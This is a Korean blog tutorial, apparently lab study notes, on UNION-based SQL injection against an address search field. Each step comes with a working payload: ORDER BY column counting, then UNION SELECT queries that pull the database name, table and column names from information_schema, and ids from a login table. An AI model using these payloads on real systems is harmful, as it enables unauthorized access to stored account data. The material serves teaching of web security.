1. UNION Based SQLi
1) 정의
= UNION 명령어를 이용한 SQL Injection
- 원래의 요청에 추가 쿼리를 삽입하여 정보를 얻어낸다.
- 2개 이상의 쿼리를 요청하여 하나의 테이블로 결과를 얻는다.
- 단, 2개의 테이블이 동일한 필드 개수와 데이터 타입을 가져야 하므로 사전공격을 통해 미리 알아놔야 한다.
2) 공격 방법
UNION Based SQLi는여러가지 정보들을 먼저 추출한는 공격을 수행한 뒤에 데이터를 수집해야한다.
순서에 따라서 다음과 같이 설명한다.
1) 컬럼 개수 파악
- 이번 공격 뒤에 이루어질 데이터베이스 이름, 테이블 이름을 추출하기 위해 컬럼의 개수를 파악한다.
- ORDER BY 구문을 이용해 컬럼의 개수를 파악한다.
- 테헤란로%' order by 1 #
- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.
- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1 #%
- #뒤에 남는 %는 주석처리가 된다.
- order by절을 이용해 1부터 데이터가 출력되지 않을 때까지 하나하나 입력해본다
- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2 #%
- ex) SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' order by 1,2,3 #%
2) 데이터베이스 이름 확인
- 화면에 출력되는 컬럼을 이용해 데이터베이스의 이름을 추출한다.
- 테헤란로%' union select 1,database(),3,4,5,6 #
- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.
- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,database(),3,4,5,6 #%
3) 테이블 이름 확인
- DB에 기본적으로 저장되어있는 information_schema를 이용해서 테이블의 이름을 추출 할 수 있다.
- 테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #
- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.
- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='MEMBER' #%’
- 컬럼에 table_name을 입력하여 information_schema.tables라는 테이블로부터 테이블 이름을 추출하도록 공격한다.
4) 컬럼 이름 확인
- 테이블 이름 확인과 같은 방식으로 information_schema를 이용해 컬럼 이름을 추출 할 수 있다.
- 테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #
- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다
- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='login' #%’
- 컬럼에 column_name을 입력하여 information_schema.columns라는 테이블로부터 컬럼 이름을 추출하도록 공격한다.
5) 데이터 추출
- 필요한 정보들을 추출한 뒤 그 정보들로 데이터를 추출 할 수 있다.
- 테헤란로%' union select 1,id,3,4,5,6 from login #
- 주소 검색창에 위 구문을 입력하게 되면 다음과 같이 작동한다.
- SELECT * FROM ZIPCODE WHERE DORO like ‘%테헤란로%' union select 1,id,3,4,5,6 from login #%’
- 컬럼에 추출하고 싶은 데이터의 컬럼이름을 삽입하고 테이블 이름을 맞춰주면 데이터를 추출 할 수 있다.
'Web Hacking' 카테고리의 다른 글
CSRF (0) | 2022.12.27 |
---|---|
XSS (0) | 2022.12.16 |
Blind SQLi (0) | 2022.12.05 |
Error Based SQLi (0) | 2022.12.05 |
SQL Injection(로그인 인증 우회) (0) | 2022.10.27 |